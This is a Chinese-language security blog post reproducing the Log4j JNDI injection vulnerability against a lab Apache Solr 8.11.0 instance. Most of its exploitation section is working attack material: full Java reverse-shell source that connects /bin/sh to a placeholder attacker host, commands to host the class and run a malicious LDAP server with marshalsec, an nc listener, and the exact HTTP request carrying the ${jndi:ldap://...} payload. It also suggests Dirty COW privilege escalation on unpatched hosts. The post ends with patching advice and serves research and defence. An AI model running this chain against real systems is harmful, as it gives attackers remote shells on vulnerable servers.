Log4j CVE-2021-45046 复现

枫少@KillBoy 2021年12月31日14:48:37信息安全来源:Pa55w0rd评论浏览量:91次1

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

上面从网上找了一段描述,自上周四poc出来之后,波及很广,大家都是加班加点的打补丁,很多SRC纷纷发文称暂不接受该漏洞,到现在,仍有很多带有漏洞的业务跑在互联网上,利用工具如雨后春笋一样,这里随便找了个工具从黑盒层面进行检测,该漏洞的利用方式类似fastjson jndi注入

黑盒检测工具

这里推荐burp插件进行被动扫描,之前尝试写xray poc,发现xray的poc只能fuzz header头,不能遍历参数进行fuzz,burp插件覆盖更全面

自行GitHub搜索 log4jscan

dnslog建议自建或者使用ceye.io,不然大家都是用dnslog.cn,时不时抽风一下,根本无法检测出漏洞

靶场搭建

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

Log4j CVE-2021-45046 复现

使用浏览器访问:
http://192.168.64.128:8983/solr/#/

漏洞检测

通过burp扩展插件和dnslog日志查看漏洞信息

Log4j CVE-2021-45046 复现

Log4j CVE-2021-45046 复现image.png

这里确认indexInfo参数触发漏洞

漏洞利用

参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行

恶意类

这里先写一个恶意类 Exploit.java,并编译为class文件

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
  public Exploit() throws Exception {
    String host="x.x.x.x";  //修改为反弹服务器
    int port=x;  // 修改为反连端口
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}

直接使用python启动服务

python -m SimpleHTTPServer 80 //xxx为web端口

启动恶意ldap服务器

之前复现fastjson的直接拿过来用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口

nc 监听反连端口

nc -lvvp x //x 为恶意类指定的反连端口

触发漏洞

发送请求

GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1 Host: 192.168.64.128:8983 
X-Requested-With: XMLHttpRequest 
Referer: http://192.168.64.128:8983/solr/ 
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6 
Connection: close

查看ldap服务器响应

Log4j CVE-2021-45046 复现image.png

查看web服务响应

Log4j CVE-2021-45046 复现image.png

查看nc监听,可以看到拿到shell
Log4j CVE-2021-45046 复现image.png

这里可以看到拿到shell了,这里吐槽一下某SRC,修复窗口都一周了,补丁没打完,SRC还不收漏洞,低内核版本的linux,可脏牛提权,直接忽略

修复建议

升级log4j到 2.15.0-rc2以上/添加jvm参数 -Dlog4j2.formatMsgNoLookups=true/使用rasp防护/删除jndilookup都可以

 

高性能云服务器2折起
枫少@KillBoy
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: